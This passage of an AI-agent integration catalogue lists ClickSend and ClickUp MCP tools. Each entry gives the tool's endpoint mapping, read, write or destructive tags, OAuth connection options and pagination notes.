/account PUT /api/v1/clicksend/account. Scopes: api. clicksend_put_account_verify_send (write) — Send account activation token via PUT /account-verify/send PUT /api/v1/clicksend/account-verify/send. Scopes: api. clicksend_put_account_verify_verify_by_activation_token (write) — Verify new account via PUT /account-verify/verify/{activation_token} PUT /api/v1/clicksend/account-verify/verify/{activation_token}. Scopes: api. clicksend_put_automations_email_receipt_by_rule_id (write) — Update a Rule via PUT /automations/email/receipts/{rule_id} PUT /api/v1/clicksend/automations/email/receipts/{rule_id}. Scopes: api. clicksend_put_automations_fax_inbound_by_inbound_rule_id (write) — Update a rule via PUT /automations/fax/inbound/{inbound_rule_id} PUT /api/v1/clicksend/automations/fax/inbound/{inbound_rule_id}. Scopes: api. clicksend_put_automations_fax_receipts_by_rule_id (write) — Update a Rule via PUT /automations/fax/receipts/{rule_id} PUT /api/v1/clicksend/automations/fax/receipts/{rule_id}. Scopes: api. clicksend_put_automations_sms_inbound_by_inbound_rule_id (write) — Update a rule via PUT /automations/sms/inbound/{inbound_rule_id} PUT /api/v1/clicksend/automations/sms/inbound/{inbound_rule_id}. Scopes: api. clicksend_put_automations_sms_receipts_by_receipt_rule_id (write) — Update a rule via PUT /automations/sms/receipts/{receipt_rule_id} PUT /api/v1/clicksend/automations/sms/receipts/{receipt_rule_id}. Scopes: api. clicksend_put_automations_voice_receipts_by_receipt_rule_id (write) — Update a rule via PUT /automations/voice/receipts/{receipt_rule_id} PUT /api/v1/clicksend/automations/voice/receipts/{receipt_rule_id}. Scopes: api. clicksend_put_email_address_verify_by_email_address_id_send (write) — Send Verification Token via PUT /email/address-verify/{email_address_id}/send PUT /api/v1/clicksend/email/address-verify/{email_address_id}/send. Scopes: api. clicksend_put_email_address_verify_by_email_address_id_verify_by_activation_token (write) — Verify Allowed Email Address via PUT /email/address-verify/{email_address_id}/verify/{activation_token} PUT /api/v1/clicksend/email/address-verify/{email_address_id}/verify/{activation_token}. Scopes: api. clicksend_put_email_campaigns_by_email_campaign_id (write) — Update Email Campaign via PUT /email-campaigns/{email_campaign_id} PUT /api/v1/clicksend/email-campaigns/{email_campaign_id}. Scopes: api. clicksend_put_email_campaigns_by_email_campaign_id_cancel (write) — Cancel Email Campaign via PUT /email-campaigns/{email_campaign_id}/cancel PUT /api/v1/clicksend/email-campaigns/{email_campaign_id}/cancel. Scopes: api. clicksend_put_email_templates_by_template_id (write) — Update an Email Template via PUT /email/templates/{template_id} PUT /api/v1/clicksend/email/templates/{template_id}. Scopes: api. clicksend_put_fax_receipts_read (write) — Mark Fax Delivery Receipts as read via PUT /fax/receipts-read PUT /api/v1/clicksend/fax/receipts-read. Scopes: api. clicksend_put_forgot_password (write) — Forgot Password via PUT /forgot-password PUT /api/v1/clicksend/forgot-password. Scopes: api. clicksend_put_forgot_password_verify (write) — Verify Forgot Password via PUT /forgot-password/verify PUT /api/v1/clicksend/forgot-password/verify. Scopes: api. clicksend_put_forgot_username (write) — Forgot Username via PUT /forgot-username PUT /api/v1/clicksend/forgot-username. Scopes: api. clicksend_put_lists_by_from_list_id_contacts_by_contact_id_by_to_list_id (write) — Transfer a Contact via PUT /lists/{from_list_id}/contacts/{contact_id}/{to_list_id}. Transfers a specific contact to another list. PUT /api/v1/clicksend/lists/{from_list_id}/contacts/{contact_id}/{to_list_id}. Scopes: api. clicksend_put_lists_by_list_id (write) — Update a specific contact list via PUT /lists/{list_id} PUT /api/v1/clicksend/lists/{list_id}. Scopes: api. clicksend_put_lists_by_list_id_contacts_by_contact_id (write) — Update a specific contact via PUT /lists/{list_id}/contacts/{contact_id} PUT /api/v1/clicksend/lists/{list_id}/contacts/{contact_id}. Scopes: api. clicksend_put_lists_by_list_id_remove_duplicates (write) — Remove Duplicate Contacts via PUT /lists/{list_id}/remove-duplicates PUT /api/v1/clicksend/lists/{list_id}/remove-duplicates. Scopes: api. clicksend_put_lists_by_list_id_remove_opted_out_contacts_by_opt_out_list_id (write) — Remove Opted Out Contacts via PUT /lists/{list_id}/remove-opted-out-contacts/{opt_out_list_id} PUT /api/v1/clicksend/lists/{list_id}/remove-opted-out-contacts/{opt_out_list_id}. Scopes: api. clicksend_put_mms_by_message_id_cancel (write) — Cancel MMS via PUT /mms/{message_id}/cancel PUT /api/v1/clicksend/mms/{message_id}/cancel. Scopes: api. clicksend_put_mms_cancel_all (write) — Cancel All MMS via PUT /mms/cancel-all PUT /api/v1/clicksend/mms/cancel-all. Scopes: api. clicksend_put_mms_receipts_read (write) — Mark Receipts As Read via PUT /mms/receipts-read PUT /api/v1/clicksend/mms/receipts-read. Scopes: api. clicksend_put_post_return_addresses_by_return_address_id (write) — Update Post Return Address via PUT /post/return-addresses/{return_address_id} PUT /api/v1/clicksend/post/return-addresses/{return_address_id}. Scopes: api. clicksend_put_recharge_credit_card (write) — Update Credit Card info via PUT /recharge/credit-card PUT /api/v1/clicksend/recharge/credit-card. Scopes: api. clicksend_put_recharge_purchase_by_package_id (write) — Purchase a Package via PUT /recharge/purchase/{package_id} PUT /api/v1/clicksend/recharge/purchase/{package_id}. Scopes: api. clicksend_put_reseller (write) — Update Reseller Setting via PUT /reseller. Update a specific reseller setting. PUT /api/v1/clicksend/reseller. Scopes: api. clicksend_put_reseller_accounts_by_client_user_id (write) — Update Reseller Account via PUT /reseller/accounts/{client_user_id} PUT /api/v1/clicksend/reseller/accounts/{client_user_id}. Scopes: api. clicksend_put_reseller_transfer_credit (write) — Transfer Credit via PUT /reseller/transfer-credit PUT /api/v1/clicksend/reseller/transfer-credit. Scopes: api. clicksend_put_sms_by_message_id_cancel (write) — Cancel a Scheduled Message via PUT /sms/{message_id}/cancel PUT /api/v1/clicksend/sms/{message_id}/cancel. Scopes: api. clicksend_put_sms_campaigns_by_sms_campaign_id (write) — Update an SMS Campaign via PUT /sms-campaigns/{sms_campaign_id} PUT /api/v1/clicksend/sms-campaigns/{sms_campaign_id}. Scopes: api. clicksend_put_sms_campaigns_by_sms_campaign_id_cancel (write) — Cancel an SMS Campaign via PUT /sms-campaigns/{sms_campaign_id}/cancel PUT /api/v1/clicksend/sms-campaigns/{sms_campaign_id}/cancel. Scopes: api. clicksend_put_sms_cancel_all (write) — Cancel all Scheduled Messages via PUT /sms/cancel-all PUT /api/v1/clicksend/sms/cancel-all. Scopes: api. clicksend_put_sms_email_sms_by_email_address_id (write) — Update Email-to-SMS Allowed Address via PUT /sms/email-sms/{email_address_id}. Update a specific allowed email address. PUT /api/v1/clicksend/sms/email-sms/{email_address_id}. Scopes: api. clicksend_put_sms_email_sms_stripped_strings_by_rule_id (write) — Update Stripped String via PUT /sms/email-sms-stripped-strings/{rule_id} PUT /api/v1/clicksend/sms/email-sms-stripped-strings/{rule_id}. Scopes: api. clicksend_put_sms_inbound_read (write) — Mark all Inbound SMS as read via PUT /sms/inbound-read PUT /api/v1/clicksend/sms/inbound-read. Scopes: api. clicksend_put_sms_inbound_read_by_message_id (write) — Mark a specific Inbound SMS as read via PUT /sms/inbound-read/{message_id} PUT /api/v1/clicksend/sms/inbound-read/{message_id}. Scopes: api. clicksend_put_sms_receipts_read (write) — Mark Delivery Receipts as read via PUT /sms/receipts-read PUT /api/v1/clicksend/sms/receipts-read. Scopes: api. clicksend_put_sms_templates_by_template_id (write) — Update a Template via PUT /sms/templates/{template_id} PUT /api/v1/clicksend/sms/templates/{template_id}. Scopes: api. clicksend_put_subaccounts_by_subaccount_id (write) — Update a specific subaccount via PUT /subaccounts/{subaccount_id} PUT /api/v1/clicksend/subaccounts/{subaccount_id}. Scopes: api. clicksend_put_subaccounts_by_subaccount_id_regen_api_key (write) — Regenerate API Key via PUT /subaccounts/{subaccount_id}/regen-api-key PUT /api/v1/clicksend/subaccounts/{subaccount_id}/regen-api-key. Scopes: api. clicksend_put_voice_by_message_id_cancel (write) — Cancel a Specific Voice Call via PUT /voice/{message_id}/cancel PUT /api/v1/clicksend/voice/{message_id}/cancel. Scopes: api. clicksend_put_voice_cancel_all (write) — Cancel all Voice Calls via PUT /voice/cancel-all PUT /api/v1/clicksend/voice/cancel-all. Scopes: api. clicksend_put_voice_receipts_read_date_before_by_date_before (write) — Marked Voice Receipts as Read via PUT /voice/receipts-read PUT /api/v1/clicksend/voice/receipts-read. Scopes: api. ================================================================================ ## ClickUp URL: https://www.agenticfabriq.com/integrations/clickup Section: Integrated Tools ClickUp — 171 MCP tools Provider key: clickup. Scopes: none. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. clickup_delete_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id (write, destructive) — Delete chat channel via DELETE /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id} DELETE /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}. Scopes: none. clickup_delete_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id (write, destructive) — Delete chat message via DELETE /api/v3/workspaces/{workspace_id}/chat/messages/{message_id} DELETE /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}. Scopes: none. clickup_delete_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id_reactions_by_reaction (write, destructive) — Delete chat reaction via DELETE /api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/reactions/{reaction} DELETE /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/reactions/{reaction}. Scopes: none. clickup_delete_v2_checklist_by_checklist_id (write, destructive) — Delete checklist via DELETE /v2/checklist/{checklist_id} DELETE /api/v1/clickup/v2/checklist/{checklist_id}. Scopes: none. clickup_delete_v2_checklist_by_checklist_id_checklist_item_by_checklist_item_id (write, destructive) — Delete checklist item via DELETE /v2/checklist/{checklist_id}/checklist_item/{checklist_item_id} DELETE /api/v1/clickup/v2/checklist/{checklist_id}/checklist_item/{checklist_item_id}. Scopes: none. clickup_delete_v2_comment_by_comment_id (write, destructive) — Delete comment via DELETE /v2/comment/{comment_id} DELETE /api/v1/clickup/v2/comment/{comment_id}. Scopes: none. clickup_delete_v2_folder_by_folder_id (write, destructive) — Delete folder via DELETE /v2/folder/{folder_id} DELETE /api/v1/clickup/v2/folder/{folder_id}. Scopes: none. clickup_delete_v2_folder_by_folder_id_guest_by_guest_id (write, destructive) — Remove guest from folder via DELETE /v2/folder/{folder_id}/guest/{guest_id} [Enterprise plan only] DELETE /api/v1/clickup/v2/folder/{folder_id}/guest/{guest_id}. Scopes: none. clickup_delete_v2_goal_by_goal_id (write, destructive) — Delete goal via DELETE /v2/goal/{goal_id} DELETE /api/v1/clickup/v2/goal/{goal_id}. Scopes: none. clickup_delete_v2_group_by_group_id (write, destructive) — Delete team via DELETE /v2/group/{group_id} DELETE /api/v1/clickup/v2/group/{group_id}. Scopes: none. clickup_delete_v2_key_result_by_key_result_id (write, destructive) — Delete key result via DELETE /v2/key_result/{key_result_id} DELETE /api/v1/clickup/v2/key_result/{key_result_id}. Scopes: none. clickup_delete_v2_list_by_list_id (write, destructive) — Delete list via DELETE /v2/list/{list_id} DELETE /api/v1/clickup/v2/list/{list_id}. Scopes: none. clickup_delete_v2_list_by_list_id_guest_by_guest_id (write, destructive) — Remove guest from list via DELETE /v2/list/{list_id}/guest/{guest_id} [Enterprise plan only] DELETE /api/v1/clickup/v2/list/{list_id}/guest/{guest_id}. Scopes: none. clickup_delete_v2_list_by_list_id_task_by_task_id (write, destructive) — Remove task from list via DELETE /v2/list/{list_id}/task/{task_id} DELETE /api/v1/clickup/v2/list/{list_id}/task/{task_id}. Scopes: none. clickup_delete_v2_space_by_space_id (write, destructive) — Delete space via DELETE /v2/space/{space_id} DELETE /api/v1/clickup/v2/space/{space_id}. Scopes: none. clickup_delete_v2_space_by_space_id_tag_by_tag_name (write, destructive) — Delete space tag via DELETE /v2/space/{space_id}/tag/{tag_name} DELETE /api/v1/clickup/v2/space/{space_id}/tag/{tag_name}. Scopes: none. clickup_delete_v2_task_by_task_id (write, destructive) — Delete task via DELETE /v2/task/{task_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}. Scopes: none. clickup_delete_v2_task_by_task_id_dependency (write, destructive) — Delete dependency via DELETE /v2/task/{task_id}/dependency When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}/dependency. Scopes: none. clickup_delete_v2_task_by_task_id_field_by_field_id (write, destructive) — Remove custom field value via DELETE /v2/task/{task_id}/field/{field_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}/field/{field_id}. Scopes: none. clickup_delete_v2_task_by_task_id_guest_by_guest_id (write, destructive) — Remove guest from task via DELETE /v2/task/{task_id}/guest/{guest_id} [Enterprise plan only] When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}/guest/{guest_id}. Scopes: none. clickup_delete_v2_task_by_task_id_link_by_links_to (write, destructive) — Delete task link via DELETE /v2/task/{task_id}/link/{links_to} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}/link/{links_to}. Scopes: none. clickup_delete_v2_task_by_task_id_tag_by_tag_name (write, destructive) — Remove tag from task via DELETE /v2/task/{task_id}/tag/{tag_name} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}/tag/{tag_name}. Scopes: none. clickup_delete_v2_task_by_task_id_time_by_interval_id (write, destructive) — Deletetimetracked via DELETE /v2/task/{task_id}/time/{interval_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). DELETE /api/v1/clickup/v2/task/{task_id}/time/{interval_id}. Scopes: none. clickup_delete_v2_team_by_team_id_guest_by_guest_id (write, destructive) — Remove guest from workspace via DELETE /v2/team/{team_id}/guest/{guest_id} [Enterprise plan only] DELETE /api/v1/clickup/v2/team/{team_id}/guest/{guest_id}. Scopes: none. clickup_delete_v2_team_by_team_id_time_entries_by_timer_id (write, destructive) — Deleteatime entry via DELETE /v2/team/{team_id}/time_entries/{timer_id} DELETE /api/v1/clickup/v2/team/{team_id}/time_entries/{timer_id}. Scopes: none. clickup_delete_v2_team_by_team_id_time_entries_tags (write, destructive) — Removetagsfromtimeentries via DELETE /v2/team/{team_id}/time_entries/tags DELETE /api/v1/clickup/v2/team/{team_id}/time_entries/tags. Scopes: none. clickup_delete_v2_team_by_team_id_user_by_user_id (write, destructive) — Remove user from workspace via DELETE /v2/team/{team_id}/user/{user_id} [Enterprise plan only] DELETE /api/v1/clickup/v2/team/{team_id}/user/{user_id}. Scopes: none. clickup_delete_v2_view_by_view_id (write, destructive) — Delete view via DELETE /v2/view/{view_id} DELETE /api/v1/clickup/v2/view/{view_id}. Scopes: none. clickup_delete_v2_webhook_by_webhook_id (write, destructive) — Delete webhook via DELETE /v2/webhook/{webhook_id} DELETE /api/v1/clickup/v2/webhook/{webhook_id}. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_by_entity_type_by_entity_id_attachments (read) — Get parent entity attachments via GET /api/v3/workspaces/{workspace_id}/{entity_type}/{entity_id}/attachments Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/{entity_type}/{entity_id}/attachments. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_channels (read) — Get chat channels via GET /api/v3/workspaces/{workspace_id}/chat/channels Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id (read) — Get chat channel via GET /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id} GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id_followers (read) — Get chat channel followers via GET /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/followers Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/followers. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id_members (read) — Get chat channel members via GET /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/members Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/members. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id_messages (read) — Get chat messages via GET /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/messages Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/messages. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id_reactions (read) — Get chat message reactions via GET /api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/reactions Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/reactions. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id_replies (read) — Get chat message replies via GET /api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/replies Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/replies. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id_tagged_users (read) — Get chat message tagged users via GET /api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/tagged_users Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/tagged_users. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_comments_types_by_comment_type_subtypes (read) — Get subtypes via GET /api/v3/workspaces/{workspace_id}/comments/types/{comment_type}/subtypes GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/comments/types/{comment_type}/subtypes. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_docs (read) — Search docs public via GET /api/v3/workspaces/{workspace_id}/docs Cursor pagination: pass the previous response's next_cursor back as next_cursor; a response without one is the last page. GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_docs_by_doc_id (read) — Get doc public via GET /api/v3/workspaces/{workspace_id}/docs/{doc_id} GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs/{doc_id}. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_docs_by_doc_id_page_listing (read) — Get doc page listing public via GET /api/v3/workspaces/{workspace_id}/docs/{doc_id}/page_listing GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs/{doc_id}/page_listing. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_docs_by_doc_id_pages (read) — Get doc pages public via GET /api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages. Scopes: none. clickup_get_api_v3_workspaces_by_workspace_id_docs_by_doc_id_pages_by_page_id (read) — Get page public via GET /api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages/{page_id} GET /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages/{page_id}. Scopes: none. clickup_get_v2_comment_by_comment_id_reply (read) — Get threaded comments via GET /v2/comment/{comment_id}/reply GET /api/v1/clickup/v2/comment/{comment_id}/reply. Scopes: none. clickup_get_v2_folder_by_folder_id (read) — Get folder via GET /v2/folder/{folder_id} GET /api/v1/clickup/v2/folder/{folder_id}. Scopes: none. clickup_get_v2_folder_by_folder_id_field (read) — Get folder available fields via GET /v2/folder/{folder_id}/field GET /api/v1/clickup/v2/folder/{folder_id}/field. Scopes: none. clickup_get_v2_folder_by_folder_id_list (read) — Get lists via GET /v2/folder/{folder_id}/list GET /api/v1/clickup/v2/folder/{folder_id}/list. Scopes: none. clickup_get_v2_folder_by_folder_id_view (read) — Get folder views via GET /v2/folder/{folder_id}/view GET /api/v1/clickup/v2/folder/{folder_id}/view. Scopes: none. clickup_get_v2_goal_by_goal_id (read) — Get goal via GET /v2/goal/{goal_id} GET /api/v1/clickup/v2/goal/{goal_id}. Scopes: none. clickup_get_v2_group (read) — Get teams1 via GET /v2/group GET /api/v1/clickup/v2/group. Scopes: none. clickup_get_v2_list_by_list_id (read) — Get list via GET /v2/list/{list_id} GET /api/v1/clickup/v2/list/{list_id}. Scopes: none. clickup_get_v2_list_by_list_id_comment (read) — Get list comments via GET /v2/list/{list_id}/comment GET /api/v1/clickup/v2/list/{list_id}/comment. Scopes: none. clickup_get_v2_list_by_list_id_field (read) — Get accessible custom fields via GET /v2/list/{list_id}/field GET /api/v1/clickup/v2/list/{list_id}/field. Scopes: none. clickup_get_v2_list_by_list_id_member (read) — Get list members via GET /v2/list/{list_id}/member GET /api/v1/clickup/v2/list/{list_id}/member. Scopes: none. clickup_get_v2_list_by_list_id_task (read) — Get tasks via GET /v2/list/{list_id}/task Paged: `page` is ZERO-indexed, ~100 rows per page; the response's last_page boolean marks the end. GET /api/v1/clickup/v2/list/{list_id}/task. Scopes: none. clickup_get_v2_list_by_list_id_view (read) — Get list views via GET /v2/list/{list_id}/view GET /api/v1/clickup/v2/list/{list_id}/view. Scopes: none. clickup_get_v2_space_by_space_id (read) — Get space via GET /v2/space/{space_id} GET /api/v1/clickup/v2/space/{space_id}. Scopes: none. clickup_get_v2_space_by_space_id_field (read) — Get space available fields via GET /v2/space/{space_id}/field GET /api/v1/clickup/v2/space/{space_id}/field. Scopes: none. clickup_get_v2_space_by_space_id_folder (read) — Get folders via GET /v2/space/{space_id}/folder GET /api/v1/clickup/v2/space/{space_id}/folder. Scopes: none. clickup_get_v2_space_by_space_id_list (read) — Get folderless lists via GET /v2/space/{space_id}/list GET /api/v1/clickup/v2/space/{space_id}/list. Scopes: none. clickup_get_v2_space_by_space_id_tag (read) — Get space tags via GET /v2/space/{space_id}/tag GET /api/v1/clickup/v2/space/{space_id}/tag. Scopes: none. clickup_get_v2_space_by_space_id_view (read) — Get space views via GET /v2/space/{space_id}/view GET /api/v1/clickup/v2/space/{space_id}/view. Scopes: none. clickup_get_v2_task_bulk_time_in_status_task_ids (read) — Get bulk tasks timein status via GET /v2/task/bulk_time_in_status/task_ids When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). GET /api/v1/clickup/v2/task/bulk_time_in_status/task_ids. Scopes: none. clickup_get_v2_task_by_task_id (read) — Get task via GET /v2/task/{task_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). GET /api/v1/clickup/v2/task/{task_id}. Scopes: none. clickup_get_v2_task_by_task_id_comment (read) — Get task comments via GET /v2/task/{task_id}/comment When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). GET /api/v1/clickup/v2/task/{task_id}/comment. Scopes: none. clickup_get_v2_task_by_task_id_member (read) — Get task members via GET /v2/task/{task_id}/member GET /api/v1/clickup/v2/task/{task_id}/member. Scopes: none. clickup_get_v2_task_by_task_id_time (read) — Gettrackedtime via GET /v2/task/{task_id}/time When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). GET /api/v1/clickup/v2/task/{task_id}/time. Scopes: none. clickup_get_v2_task_by_task_id_time_in_status (read) — Get task s timein status via GET /v2/task/{task_id}/time_in_status When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). GET /api/v1/clickup/v2/task/{task_id}/time_in_status. Scopes: none. clickup_get_v2_team (read) — Get authorized teams via GET /v2/team GET /api/v1/clickup/v2/team. Scopes: none. clickup_get_v2_team_by_team_id_custom_item (read) — Get custom items via GET /v2/team/{team_id}/custom_item GET /api/v1/clickup/v2/team/{team_id}/custom_item. Scopes: none. clickup_get_v2_team_by_team_id_customroles (read) — Get custom roles via GET /v2/team/{team_id}/customroles GET /api/v1/clickup/v2/team/{team_id}/customroles. Scopes: none. clickup_get_v2_team_by_team_id_field (read) — Get team available fields via GET /v2/team/{team_id}/field GET /api/v1/clickup/v2/team/{team_id}/field. Scopes: none. clickup_get_v2_team_by_team_id_folder_template (read) — Get folder templates via GET /v2/team/{team_id}/folder_template GET /api/v1/clickup/v2/team/{team_id}/folder_template. Scopes: none. clickup_get_v2_team_by_team_id_goal (read) — Get goals via GET /v2/team/{team_id}/goal GET /api/v1/clickup/v2/team/{team_id}/goal. Scopes: none. clickup_get_v2_team_by_team_id_guest_by_guest_id (read) — Get guest via GET /v2/team/{team_id}/guest/{guest_id} [Enterprise plan only] GET /api/v1/clickup/v2/team/{team_id}/guest/{guest_id}. Scopes: none. clickup_get_v2_team_by_team_id_list_template (read) — Get list templates via GET /v2/team/{team_id}/list_template GET /api/v1/clickup/v2/team/{team_id}/list_template. Scopes: none. clickup_get_v2_team_by_team_id_plan (read) — Get workspaceplan via GET /v2/team/{team_id}/plan GET /api/v1/clickup/v2/team/{team_id}/plan. Scopes: none. clickup_get_v2_team_by_team_id_seats (read) — Get workspaceseats via GET /v2/team/{team_id}/seats GET /api/v1/clickup/v2/team/{team_id}/seats. Scopes: none. clickup_get_v2_team_by_team_id_shared (read) — Shared hierarchy via GET /v2/team/{team_id}/shared GET /api/v1/clickup/v2/team/{team_id}/shared. Scopes: none. clickup_get_v2_team_by_team_id_space (read) — Get spaces via GET /v2/team/{team_id}/space GET /api/v1/clickup/v2/team/{team_id}/space. Scopes: none. clickup_get_v2_team_by_team_id_task (read) — Get filtered team tasks via GET /v2/team/{team_Id}/task Paged: `page` is ZERO-indexed, ~100 rows per page; no last_page marker here -- a short or empty page is the end. GET /api/v1/clickup/v2/team/{team_Id}/task. Scopes: none. clickup_get_v2_team_by_team_id_tasktemplate (read) — Get task templates via GET /v2/team/{team_id}/taskTemplate Paged: `page` is ZERO-indexed, ~100 rows per page; no last_page marker here -- a short or empty page is the end. GET /api/v1/clickup/v2/team/{team_id}/taskTemplate. Scopes: none. clickup_get_v2_team_by_team_id_time_entries (read) — Gettimeentrieswithinadaterange via GET /v2/team/{team_Id}/time_entries When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). GET /api/v1/clickup/v2/team/{team_Id}/time_entries. Scopes: none. clickup_get_v2_team_by_team_id_time_entries_by_timer_id (read) — Getsingulartimeentry via GET /v2/team/{team_id}/time_entries/{timer_id} GET /api/v1/clickup/v2/team/{team_id}/time_entries/{timer_id}. Scopes: none. clickup_get_v2_team_by_team_id_time_entries_by_timer_id_history (read) — Gettimeentryhistory via GET /v2/team/{team_id}/time_entries/{timer_id}/history GET /api/v1/clickup/v2/team/{team_id}/time_entries/{timer_id}/history. Scopes: none. clickup_get_v2_team_by_team_id_time_entries_current (read) — Getrunningtimeentry via GET /v2/team/{team_id}/time_entries/current GET /api/v1/clickup/v2/team/{team_id}/time_entries/current. Scopes: none. clickup_get_v2_team_by_team_id_time_entries_tags (read) — Getalltagsfromtimeentries via GET /v2/team/{team_id}/time_entries/tags GET /api/v1/clickup/v2/team/{team_id}/time_entries/tags. Scopes: none. clickup_get_v2_team_by_team_id_user_by_user_id (read) — Get user via GET /v2/team/{team_id}/user/{user_id} [Enterprise plan only] GET /api/v1/clickup/v2/team/{team_id}/user/{user_id}. Scopes: none. clickup_get_v2_team_by_team_id_view (read) — Get team views via GET /v2/team/{team_id}/view GET /api/v1/clickup/v2/team/{team_id}/view. Scopes: none. clickup_get_v2_team_by_team_id_webhook (read) — Get webhooks via GET /v2/team/{team_id}/webhook GET /api/v1/clickup/v2/team/{team_id}/webhook. Scopes: none. clickup_get_v2_user (read) — Get authorized user via GET /v2/user GET /api/v1/clickup/v2/user. Scopes: none. clickup_get_v2_view_by_view_id (read) — Get view via GET /v2/view/{view_id} GET /api/v1/clickup/v2/view/{view_id}. Scopes: none. clickup_get_v2_view_by_view_id_comment (read) — Get chat view comments via GET /v2/view/{view_id}/comment GET /api/v1/clickup/v2/view/{view_id}/comment. Scopes: none. clickup_get_v2_view_by_view_id_task (read) — Get view tasks via GET /v2/view/{view_id}/task Paged: `page` is ZERO-indexed, ~100 rows per page; no last_page marker here -- a short or empty page is the end. GET /api/v1/clickup/v2/view/{view_id}/task. Scopes: none. clickup_patch_api_v3_workspaces_by_workspace_id_by_object_type_by_object_id_acls (write) — Public patch acl via PATCH /api/v3/workspaces/{workspace_id}/{object_type}/{object_id}/acls PATCH /api/v1/clickup/api/v3/workspaces/{workspace_id}/{object_type}/{object_id}/acls. Scopes: none. clickup_patch_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id (write) — Update chat channel via PATCH /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id} PATCH /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}. Scopes: none. 